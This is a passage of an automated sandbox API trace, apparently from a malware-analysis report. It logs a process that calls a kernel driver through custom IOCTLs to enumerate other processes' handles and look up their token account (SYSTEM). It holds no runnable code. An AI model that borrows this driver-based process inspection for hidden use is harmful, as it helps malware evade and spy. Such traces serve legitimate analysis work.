Process=0xfffff880054f8558) returned 0x0 [0068.660] PsAcquireProcessExitSynchronization () returned 0x0 [0068.660] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880054f85d0) [0068.660] ObReferenceObjectByHandle (in: Handle=0x10c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002d50c80, HandleInformation=0x0) returned 0x0 [0068.660] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.660] PsReleaseProcessExitSynchronization () returned 0x2 [0068.660] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x81 [0068.660] ObQueryNameString (in: Object=0xfffffa8002d50c80, ObjectNameInfo=0xfffffa800396f044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800396f044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.661] ObfDereferenceObject (Object=0xfffffa8002d50c80) returned 0x1 [0068.661] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.661] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.661] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.661] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0068.661] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.661] PsAcquireProcessExitSynchronization () returned 0x0 [0068.661] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880054f85d0) [0068.661] ObReferenceObjectByHandle (in: Handle=0x2dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002fc1a80, HandleInformation=0x0) returned 0x0 [0068.661] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.661] PsReleaseProcessExitSynchronization () returned 0x2 [0068.661] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x81 [0068.661] ObQueryNameString (in: Object=0xfffffa8002fc1a80, ObjectNameInfo=0xfffffa8003966044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003966044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.661] ObfDereferenceObject (Object=0xfffffa8002fc1a80) returned 0x2 [0068.661] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.661] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.661] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.661] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0068.661] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.661] PsAcquireProcessExitSynchronization () returned 0x0 [0068.661] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880054f85d0) [0068.661] ObReferenceObjectByHandle (in: Handle=0x2e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002fc1bd0, HandleInformation=0x0) returned 0x0 [0068.661] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.661] PsReleaseProcessExitSynchronization () returned 0x2 [0068.661] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x81 [0068.661] ObQueryNameString (in: Object=0xfffffa8002fc1bd0, ObjectNameInfo=0xfffffa800396d044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800396d044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.661] ObfDereferenceObject (Object=0xfffffa8002fc1bd0) returned 0x2 [0068.661] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.661] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.661] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.662] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0068.662] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.662] PsAcquireProcessExitSynchronization () returned 0x0 [0068.662] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880054f85d0) [0068.662] ObReferenceObjectByHandle (in: Handle=0x2e4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003212420, HandleInformation=0x0) returned 0x0 [0068.662] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.662] PsReleaseProcessExitSynchronization () returned 0x2 [0068.662] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x81 [0068.662] ObQueryNameString (in: Object=0xfffffa8003212420, ObjectNameInfo=0xfffffa80038f1044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f1044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.662] ObfDereferenceObject (Object=0xfffffa8003212420) returned 0x2 [0068.662] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.662] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.662] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.662] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0068.662] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.662] PsAcquireProcessExitSynchronization () returned 0x0 [0068.662] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880054f85d0) [0068.662] ObReferenceObjectByHandle (in: Handle=0x2f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002fc2070, HandleInformation=0x0) returned 0x0 [0068.662] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.662] PsReleaseProcessExitSynchronization () returned 0x2 [0068.662] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x81 [0068.662] ObQueryNameString (in: Object=0xfffffa8002fc2070, ObjectNameInfo=0xfffffa800396c044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800396c044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.662] ObfDereferenceObject (Object=0xfffffa8002fc2070) returned 0x2 [0068.662] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.662] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.662] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.662] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0068.662] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.662] PsAcquireProcessExitSynchronization () returned 0x0 [0068.662] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880054f85d0) [0068.662] ObReferenceObjectByHandle (in: Handle=0x2f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002fbd540, HandleInformation=0x0) returned 0x0 [0068.662] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.663] PsReleaseProcessExitSynchronization () returned 0x2 [0068.663] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x81 [0068.663] ObQueryNameString (in: Object=0xfffffa8002fbd540, ObjectNameInfo=0xfffffa8003965044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003965044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.663] ObfDereferenceObject (Object=0xfffffa8002fbd540) returned 0x2 [0068.663] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.663] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.663] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x1e0) returned 0xc0 [0068.663] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0068.663] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa8003055910, HandleInformation=0x0) returned 0x0 [0068.663] ObOpenObjectByPointer (in: Object=0xfffffa8003055910, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff8000062c) returned 0x0 [0068.663] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xf0 [0068.663] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000062c, DesiredAccess=0x8, TokenHandle=0xfffffa800344e240 | out: TokenHandle=0xfffffa800344e240*=0xc8) returned 0x0 [0068.663] ZwClose (Handle=0xffffffff8000062c) returned 0x0 [0068.663] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.663] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0068.663] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0068.665] CloseHandle (hObject=0xc8) returned 1 [0068.665] CloseHandle (hObject=0xc0) returned 1 [0068.665] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.665] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0068.665] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.665] PsAcquireProcessExitSynchronization () returned 0x0 [0068.665] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054f85d0) [0068.665] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800302d760, HandleInformation=0x0) returned 0x0 [0068.665] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.665] PsReleaseProcessExitSynchronization () returned 0x2 [0068.665] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xee [0068.665] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038f6044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038f6044, ReturnLength=0xfffff880054f8508) returned 0x0 [0068.665] ObfDereferenceObject (Object=0xfffffa800302d760) returned 0x1 [0068.665] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.665] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.665] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.665] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0068.665] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.665] PsAcquireProcessExitSynchronization () returned 0x0 [0068.665] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054f85d0) [0068.665] ObReferenceObjectByHandle (in: Handle=0x5c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0089fcde0, HandleInformation=0x0) returned 0x0 [0068.665] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.665] PsReleaseProcessExitSynchronization () returned 0x2 [0068.665] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xee [0068.665] ObQueryNameString (in: Object=0xfffff8a0089fcde0, ObjectNameInfo=0xfffffa800396e044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800396e044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.665] ObfDereferenceObject (Object=0xfffff8a0089fcde0) returned 0x2 [0068.665] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.666] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.666] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.666] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x28, lpOverlapped=0x0) returned 1 [0068.666] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.666] PsAcquireProcessExitSynchronization () returned 0x0 [0068.666] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054f85d0) [0068.666] ObReferenceObjectByHandle (in: Handle=0x88, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0089f6320, HandleInformation=0x0) returned 0x0 [0068.666] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.666] PsReleaseProcessExitSynchronization () returned 0x2 [0068.666] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xee [0068.666] ObQueryNameString (in: Object=0xfffff8a0089f6320, ObjectNameInfo=0xfffffa8003985044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003985044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.666] ObfDereferenceObject (Object=0xfffff8a0089f6320) returned 0x2 [0068.666] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.666] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.666] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.666] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0068.666] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.666] PsAcquireProcessExitSynchronization () returned 0x0 [0068.666] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054f85d0) [0068.666] ObReferenceObjectByHandle (in: Handle=0xa0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003086a20, HandleInformation=0x0) returned 0x0 [0068.666] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.666] PsReleaseProcessExitSynchronization () returned 0x2 [0068.666] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xee [0068.666] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8003968044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003968044, ReturnLength=0xfffff880054f8508) returned 0x0 [0068.666] ObfDereferenceObject (Object=0xfffffa8003086a20) returned 0x1 [0068.666] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.666] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.666] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.666] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0068.666] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.666] PsAcquireProcessExitSynchronization () returned 0x0 [0068.666] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054f85d0) [0068.666] ObReferenceObjectByHandle (in: Handle=0x1a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800302d280, HandleInformation=0x0) returned 0x0 [0068.666] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.667] PsReleaseProcessExitSynchronization () returned 0x2 [0068.667] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xee [0068.667] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8003969044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003969044, ReturnLength=0xfffff880054f8508) returned 0x0 [0068.667] ObfDereferenceObject (Object=0xfffffa800302d280) returned 0x1 [0068.667] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.667] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.667] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.667] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0068.667] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.667] PsAcquireProcessExitSynchronization () returned 0x0 [0068.667] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054f85d0) [0068.667] ObReferenceObjectByHandle (in: Handle=0x1b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001049560, HandleInformation=0x0) returned 0x0 [0068.667] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.667] PsReleaseProcessExitSynchronization () returned 0x2 [0068.667] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xee [0068.667] ObQueryNameString (in: Object=0xfffff8a001049560, ObjectNameInfo=0xfffffa800396a044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800396a044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.667] ObfDereferenceObject (Object=0xfffff8a001049560) returned 0x2 [0068.667] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.667] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.667] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.667] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x6a, lpOverlapped=0x0) returned 1 [0068.667] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.667] PsAcquireProcessExitSynchronization () returned 0x0 [0068.667] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054f85d0) [0068.667] ObReferenceObjectByHandle (in: Handle=0x2a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800302c5d0, HandleInformation=0x0) returned 0x0 [0068.667] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.667] PsReleaseProcessExitSynchronization () returned 0x2 [0068.667] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xee [0068.667] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800396b044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800396b044, ReturnLength=0xfffff880054f8508) returned 0x0 [0068.667] ObfDereferenceObject (Object=0xfffffa800302c5d0) returned 0x1 [0068.667] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.667] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.667] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.667] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0068.668] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.668] PsAcquireProcessExitSynchronization () returned 0x0 [0068.668] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054f85d0) [0068.668] ObReferenceObjectByHandle (in: Handle=0x354, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80030a0820, HandleInformation=0x0) returned 0x0 [0068.668] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.668] PsReleaseProcessExitSynchronization () returned 0x2 [0068.668] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xee [0068.668] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8003976044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003976044, ReturnLength=0xfffff880054f8508) returned 0x0 [0068.668] ObfDereferenceObject (Object=0xfffffa80030a0820) returned 0x1 [0068.668] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.668] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.668] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.668] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0068.668] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.668] PsAcquireProcessExitSynchronization () returned 0x0 [0068.668] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054f85d0) [0068.668] ObReferenceObjectByHandle (in: Handle=0x358, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, 